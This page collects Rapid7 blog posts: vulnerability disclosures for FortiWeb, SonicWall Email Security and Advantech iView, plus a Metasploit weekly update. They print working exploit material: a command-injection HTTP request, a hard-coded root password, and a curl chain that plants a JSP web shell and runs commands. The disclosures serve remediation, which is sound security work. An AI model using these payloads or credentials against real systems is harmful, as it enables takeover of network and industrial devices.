Tag Archives: Vulnerability Disclosure

Fortinet FortiWeb OS Command Injection

Post Syndicated from Tod Beardsley original https://blog.rapid7.com/2021/08/17/fortinet-fortiweb-os-command-injection/

Fortinet FortiWeb OS Command Injection

An OS command injection vulnerability in FortiWeb’s management interface (version 6.3.11 and prior) can allow a remote, authenticated attacker to execute arbitrary commands on the system, via the SAML server configuration page. This is an instance of CWE-78: Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’) and has a CVSSv3 base score of 8.7. This vulnerability appears to be related to CVE-2021-22123, which was addressed in FG-IR-20-120.

Product Description

Fortinet FortiWeb is a web application firewall (WAF), designed to catch both known and unknown exploits targeting the protected web applications before they have a chance to execute. More about FortiWeb can be found at the vendor’s website.

Credit

This issue was discovered by researcher William Vu of Rapid7. It is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Exploitation

An attacker, who is first authenticated to the management interface of the FortiWeb device, can smuggle commands using backticks in the “Name” field of the SAML Server configuration page. These commands are then executed as the root user of the underlying operating system. The affected code is noted below:

int move_metafile(char *path,char *name)
{
int iVar1;
char buf [512];
int nret;
snprintf(buf,0x200,"%s/%s","/data/etc/saml/shibboleth/service_providers",name);
iVar1 = access(buf,0);
if (iVar1 != 0) {
snprintf(buf,0x200,"mkdir %s/%s","/data/etc/saml/shibboleth/service_providers",name);
iVar1 = system(buf);
if (iVar1 != 0) {
return iVar1;
}
}
snprintf(buf,0x200,"cp %s %s/%s/%s.%s",path,"/data/etc/saml/shibboleth/service_providers",name,
"Metadata",&DAT_00212758);
iVar1 = system(buf);
return iVar1;
}

The HTTP POST request and response below demonstrates an example exploit of this vulnerability:

POST /api/v2.0/user/remoteserver.saml HTTP/1.1
Host: [redacted]
Cookie: [redacted]
User-Agent: [redacted]
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://[redacted]/root/user/remote-user/saml-user/
X-Csrftoken: 814940160
Content-Type: multipart/form-data; boundary=---------------------------94351131111899571381631694412
Content-Length: 3068
Origin: https://[redacted]
Dnt: 1
Te: trailers
Connection: close
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="q_type"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="name"
`touch /tmp/vulnerable`
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="entityID"
test
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="service-path"
/saml.sso
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="session-lifetime"
8
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="session-timeout"
30
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-bind"
post
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-bind_val"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-path"
/SAML2/POST
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-bind"
post
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-bind_val"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-path"
/SLO/POST
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="flag"
0
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="enforce-signing"
disable
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="enforce-signing_val"
0
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="metafile"; filename="test.xml"
Content-Type: text/xml
<?xml version="1.0"?>
<md:EntityDescriptor xmlns:md="urn:oasis:names:tc:SAML:2.0:metadata" validUntil="2021-06-12T16:54:31Z" cacheDuration="PT1623948871S" entityID="test">
<md:IDPSSODescriptor WantAuthnRequestsSigned="false" protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol">
<md:KeyDescriptor use="signing">
<ds:KeyInfo xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:X509Data>
<ds:X509Certificate>test</ds:X509Certificate>
</ds:X509Data>
</ds:KeyInfo>
</md:KeyDescriptor>
<md:KeyDescriptor use="encryption">
<ds:KeyInfo xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:X509Data>
<ds:X509Certificate>test</ds:X509Certificate>
</ds:X509Data>
</ds:KeyInfo>
</md:KeyDescriptor>
<md:NameIDFormat>urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified</md:NameIDFormat>
<md:SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="test"/>
</md:IDPSSODescriptor>
</md:EntityDescriptor>
-----------------------------94351131111899571381631694412--
HTTP/1.1 500 Internal Server Error
Date: Thu, 10 Jun 2021 11:59:45 GMT
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Set-Cookie: [redacted]
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Content-Security-Policy: frame-ancestors 'self'
X-Content-Type-Options: nosniff
Content-Length: 20
Strict-Transport-Security: max-age=63072000
Connection: close
Content-Type: application/json
{"errcode": "-651"}

Note the smuggled ‘touch’ command is concatenated in the mkdir shell command:

[pid 12867] execve("/migadmin/cgi-bin/fwbcgi", ["/migadmin/cgi-bin/fwbcgi"], 0x55bb0395bf00 /* 42 vars */) = 0
[pid 13934] execve("/bin/sh", ["sh", "-c", "mkdir /data/etc/saml/shibboleth/service_providers/`touch /tmp/vulnerable`"], 0x7fff56b1c608 /* 42 vars */) = 0
[pid 13935] execve("/bin/touch", ["touch", "/tmp/vulnerable"], 0x55774aa30bf8 /* 44 vars */) = 0
[pid 13936] execve("/bin/mkdir", ["mkdir", "/data/etc/saml/shibboleth/service_providers/"], 0x55774aa30be8 /* 44 vars */) = 0

Finally, the results of the ‘touch’ command can be seen on the local command line of the FortiWeb device:

/# ls -l /tmp/vulnerable
-rw-r--r--    1 root     0                0 Jun 10 11:59 /tmp/vulnerable
/#

Impact

An attacker can leverage this vulnerability to take complete control of the affected device, with the highest possible privileges. They might install a persistent shell, crypto mining software, or other malicious software. In the unlikely event the management interface is exposed to the internet, they could use the compromised platform to reach into the affected network beyond the DMZ. Note, though, Rapid7 researchers were only able to identify less than three hundred total of these devices that appear to be exposing their management interfaces to the general internet.

Note that while authentication is a prerequisite for this exploit, this vulnerability could be combined with another authentication bypass issue, such as CVE-2020-29015.

Remediation

In the absence of a patch, users are advised to disable the FortiWeb device’s management interface from untrusted networks, which would include the internet. Generally speaking, management interfaces for devices like FortiWeb should not be exposed directly to the internet anyway — instead, they should be reachable only via trusted, internal networks, or over a secure VPN connection.

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

Metasploit Wrap-Up

Post Syndicated from Matthew Kienow original https://blog.rapid7.com/2021/08/06/metasploit-wrap-up-124/

Desert heat (not the 1999 film)

Metasploit Wrap-Up

This week was more quiet than normal with Black Hat USA and DEF CON, but that didn’t stop the team from delivering some small enhancements and bug fixes! We are also excited to see two new modules #15519 and #15520 from researcher Jacob Baines’ DEF CON talk ​​Bring Your Own Print Driver Vulnerability already appear in the PR queue. Keep an eye out for those modules in the near future!

Our very own Simon Janusz enhanced the CommandDispatcher and SessionManager to support using a negative ID with both the jobs and sessions commands. Quickly access the last job or session by passing -1 to the command. The change allows users to upgrade the most recently opened session to meterpreter using the command sessions -u -1, thus removing the need to run the post/multi/manage/shell_to_meterpreter module.

In addition, our very own Alan David Foster updated the PostgreSQL scanner/postgres/postgres_schemadump module so that it does not ignore the default postgres database. That default database might contain valuable information after all! The enhancements also introduce a new datastore option, IGNORED_DATABASES, to configure a list of databases ignored during the schema dump.

Enhancements and features

  • #15492 from sjanusz-r7 – Adds support for negative session and job ids.
  • #15498 from adfoster-r7 – Updates the PostgreSQL schema_dump module to no longer ignore the default postgres database which may contain useful information, and adds a new datastore option to configure ignored databases.

Bugs fixed

  • #15500 from agalway-r7 – Fixes a regression issue for gitlab_file_read_rce and cacti_filter_sqli_rce where the modules failed to run
  • #15503 from jheysel-r7 – A bug has been fixed in the Cisco Hyperflex file upload RCE module that prevented it from properly deleting the uploaded payload files. Uploaded payload files should now be properly deleted.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate
and you can get more details on the changes since the last blog post from
GitHub:

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest.
To install fresh without using git, you can use the open-source-only Nightly Installers or the
binary installers (which also include the commercial edition).

CVE-2021-20025: SonicWall Email Security Appliance Backdoor Credential

Post Syndicated from Tod Beardsley original https://blog.rapid7.com/2021/06/23/cve-2021-20025-sonicwall-email-security-appliance-backdoor-credential/

CVE-2021-20025: SonicWall Email Security Appliance Backdoor Credential

The virtual, on-premises version of the SonicWall Email Security Appliance ships with an undocumented, static credential, which can be used by an attacker to gain root privileges on the device. This is an instance of CWE-798: Use of Hard-coded Credentials, and has an estimated CVSSv3 score of 9.1. This issue was fixed by the vendor in version 10.0.10, according to the vendor’s advisory, SNWLID-2021-0012.

Product Description

The SonicWall Email Security Virtual Appliance is a solution which “defends against advanced email-borne threats such as ransomware, zero-day threats, spear phishing and business email compromise (BEC).” It is in use in many industries around the world as a primary means of preventing several varieties of email attacks. More about SonicWall’s solutions can be found at the vendor’s website.

Credit

This issue was discovered by William Vu of Rapid7, and is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Exploitation

The session capture detailed below illustrates using the built-in SSH management interface to connect to the device as the root user with the password, “sonicall”.

This attack was tested on 10.0.9.6105 and 10.0.9.6177, the latest builds available at the time of testing.

wvu@kharak:~$ ssh -o stricthostkeychecking=no -o userknownhostsfile=/dev/null [email protected]
Warning: Permanently added '192.168.123.251' (ECDSA) to the list of known hosts.
For CLI access you must login as snwlcli user.
[email protected]'s password: sonicall
[root@snwl ~]# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
[root@snwl ~]# uname -a
Linux snwl.example.com 4.19.58-snwl-VMWare64 #1 SMP Wed Apr 14 20:59:36 PDT 2021 x86_64 GNU/Linux
[root@snwl ~]# grep root /etc/shadow
root:Y0OoRLtjUwq1E:12605:0:::::
[root@snwl ~]# snwlcli
Login: admin
Password:
SNWLCLI> version
10.0.9.6177
SNWLCLI>

Impact

Given remote root access to what is usually a perimeter-homed device, an attacker can further extend their reach into a targeted network to launch additional attacks against internal infrastructure from across the internet. More locally, an attacker could likely use this access to update or disable email scanning rules and logic to allow for malicious email to pass undetected to further exploit internal hosts.

Remediation

As detailed in the vendor’s advisory, users are urged to use at least version 10.0.10 on fresh installs of the affected virtual host. Note that updating to version 10.0.10 or later does not appear to resolve the issue directly; users who update existing versions should ensure they are also connected to the MySonicWall Licensing services in order to completely resolve the issue.

For sites that are not able to update or replace affected devices immediately, access to remote management services should be limited to only trusted, internal networks — most notably, not the internet.

Disclosure Timeline

Rapid7’s coordinated vulnerability disclosure team is deeply impressed with this vendor’s rapid turnaround time from report to fix. This vulnerability was both reported and confirmed on the same day, and thanks to SonicWall’s excellent PSIRT team, a fix was developed, tested, and released almost exactly three weeks after the initial report.

  • April, 2021: Issue discovered by William Vu of Rapid7
  • Thu, Apr 22, 2021: Details provided to SonicWall via their CVD portal
  • Thu, Apr 22, 2021: Confirmed reproduction of the issue by the vendor
  • Thu, May 13, 2021: Update released by the vendor, removing the static account
  • Thu, May 13, 2021: CVE-2021-20025 published in SNWLID-2021-0012
  • Wed, Jun 23, 2021: Rapid7 advisory published with further details

CVE-2021-22652: Advantech iView Missing Authentication RCE (FIXED)

Post Syndicated from Tod Beardsley original https://blog.rapid7.com/2021/02/11/cve-2021-22652-advantech-iview-missing-authentication-rce-fixed/

CVE-2021-22652: Advantech iView Missing Authentication RCE (FIXED)

Advantech iView versions prior to 5.7.03.6112 suffer from an instance of "CWE-306: Missing Authentication For Critical Function." This vulnerability (CVE-2021-22652) has a CVSSv3 score of 9.8, which is usually CRITICAL, since it effectively allows anyone who can connect to the iView server to run arbitrary, OS-level commands in the user context of the iView application, which is nearly always SYSTEM-level access.

Product description

Advantech iView is a proprietary, SNMP-based IoT device management application used to manage deployments of Advantech B+B SmartWorx-enabled products, as described on the vendor’s product site.

Credit

This issue was discovered by Rapid7 Senior Security Researcher William Vu. It is being disclosed in accordance with Rapid7’s vulnerability disclosure policy and in cooperation with the Industrial Control Systems Vulnerability Management and Coordination (ICS-VMC) section of the Cybersecurity and Infrastructure Security Agency (CISA), a division of the U.S. Department of Homeland Security.

Exploitation of CVE-2021-22652 (FIXED)

An unauthenticated configuration change combined with an unauthenticated file write primitive leads to an arbitrary file write that allows for remote code execution as the user running iView, which is typically NT AUTHORITY\SYSTEM. This issue was demonstrated in the vulnerable version 5.7.02.5992 and fixed in version 5.7.03.6112.

The vulnerability can be demonstrated with the following series of curl(1) commands:

Step 0: Confirm vulnerable version

This is just to confirm that we’re running a vulnerable version.

Note: Replace all instances of [RHOST] with your target IP.

wvu@kharak:~$ curl -s http://[RHOST]:8080/iView3/MenuServlet -d "page_action_type=getMenuFragment&page=version.frag" | xmllint --html --xpath 'string(//input[starts-with(@value, "Version")]/@value)' - 2> /dev/null | paste -
Version 5.7 (Build 0002.5992)
wvu@kharak:~$

Version 5.7.02.5992 is detected. This check is unauthenticated.

Step 1: Retrieve iView configuration

This is to ensure we are modifying only the values we need.

wvu@kharak:~$ curl -s http://[RHOST]:8080/iView3/NetworkServlet -d page_action_type=retrieveSystemSettings | jq -c .[0]
{"PROMPATH":"c:\\IMCTrapService\\prom_bin\\","EXPORTPATH":"c:\\IMCTrapService\\export\\","IMPORTPATH":"c:\\IMCTrapService\\import\\","CONFIGPATH":"c:\\IMCTrapService\\config\\","DBBACKUPPATH":"c:\\IMCTrapService\\backup\\","ZTPTEMPLATESPATH":"c:\\IMCTrapService\\templates\\","SSHPORT":"22","TFTPPORT":"69","MAXBACKUPFILES":"3","NETWORKSCANTIMEOUT":"20","USERSESSIONTIMEOUT":"0","USECUSTOMNAMING":"0","CUSTOMNAMETEMPLATE":""}
wvu@kharak:~$

As you can see, the configuration is returned as a JSON object.

Step 2: Update EXPORTPATH to webapps\iView3\

A relative path can be used, since the working directory is the Tomcat folder. This saves us from having to choose between C:\Program Files and C:\Program Files (x86).

wvu@kharak:~$ curl -s http://[RHOST]:8080/iView3/NetworkServlet -d 'page_action_type=updateSystemSettings&json_obj={"PROMPATH":"c:\\IMCTrapService\\prom_bin\\","EXPORTPATH":"webapps\\iView3\\","IMPORTPATH":"c:\\IMCTrapService\\import\\","CONFIGPATH":"c:\\IMCTrapService\\config\\","DBBACKUPPATH":"c:\\IMCTrapService\\backup\\","ZTPTEMPLATESPATH":"c:\\IMCTrapService\\templates\\","SSHPORT":"22","TFTPPORT":"69","MAXBACKUPFILES":"3","NETWORKSCANTIMEOUT":"20","USERSESSIONTIMEOUT":"0","USECUSTOMNAMING":"0","CUSTOMNAMETEMPLATE":""}' | jq .[0]
{
  "PROMPATH": "c:\\IMCTrapService\\prom_bin\\",
  "EXPORTPATH": "webapps\\iView3\\",
  "IMPORTPATH": "c:\\IMCTrapService\\import\\",
  "CONFIGPATH": "c:\\IMCTrapService\\config\\",
  "DBBACKUPPATH": "c:\\IMCTrapService\\backup\\",
  "ZTPTEMPLATESPATH": "c:\\IMCTrapService\\templates\\",
  "SSHPORT": "22",
  "TFTPPORT": "69",
  "MAXBACKUPFILES": "3",
  "NETWORKSCANTIMEOUT": "20",
  "USERSESSIONTIMEOUT": "0",
  "USECUSTOMNAMING": "0",
  "CUSTOMNAMETEMPLATE": ""
}
wvu@kharak:~$

The updated configuration is, again, returned as a JSON object.

Step 3: Write JSP stub to provide command execution

The JSP decodes to
<%Runtime.getRuntime().exec(request.getParameter("c"));%> and is
written to webapps\iView3\x.jsp.

wvu@kharak:~$ curl http://[RHOST]:8080/iView3/NetworkServlet -d 'page_action_type=exportInventoryTable&col_list=<%25Runtime.getRuntime().exec(request.getParameter("c"));%25>-NULL&sortname=NULL&sortorder=&filename=x.jsp'
Export failed.
wvu@kharak:~$

Note that the returned error is immaterial to the exploit (the export "failed" because the tested instance has no data to export).

Step 4: Execute arbitrary commands

You should now be able to execute arbitrary commands by sending the c parameter to the /iView3/x.jsp script.

Note: Replace [USERNAME] with your desktop user.

wvu@kharak:~$ curl http://[RHOST]:8080/iView3/x.jsp -d "c=cmd.exe /c whoami > C:\Users\[USERNAME]\Desktop\vulnerable.txt"
nul
wvu@kharak:~$

Similar to Step 3, the nul returned value is immaterial to the exploit.

Vulnerability impact

The attack may be limited by the fact that iView web interfaces are generally not exposed to the internet and that iView is usually deployed as an internal web application. So, an attacker would first need to somehow connect to the iView server. However, since it is a web application, it’s not unthinkable to imagine that there may be a few exposed to the public internet.

Once an attacker has control of the iView server, the attacker can then manage the associated SmartWorx-enabled networked devices, which are typically IoT in nature and can have an effect on that physical infrastructure.

Remediating CVE-2021-22652

This issue was fixed in pre-release version 5.7.03.6112. Users who cannot update right away should ensure the iView web application is not reachable from untrusted networks, such as the internet.

Disclosure timeline

  • Wednesday, Aug. 26, 2020: Issue discovered by William Vu of Rapid7.
  • Thursday, Aug. 27, 2020: Initial disclosure to ICS-CERT via the CISA Service Desk.
  • Monday, Nov. 9, 2020: ICS-CERT confirms receipt and assigns ICS-VU-820719.
  • Friday, Feb. 5, 2021: Draft advisory for ICSA-21-040-02 confirmed by Rapid7.
  • Tuesday, Feb. 9, 2021: ICS Advisory ICSA-21-040-02 published by CISA.
  • Thursday, Feb 11, 2021: Rapid7 details on CVE-2021-22652 published.

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.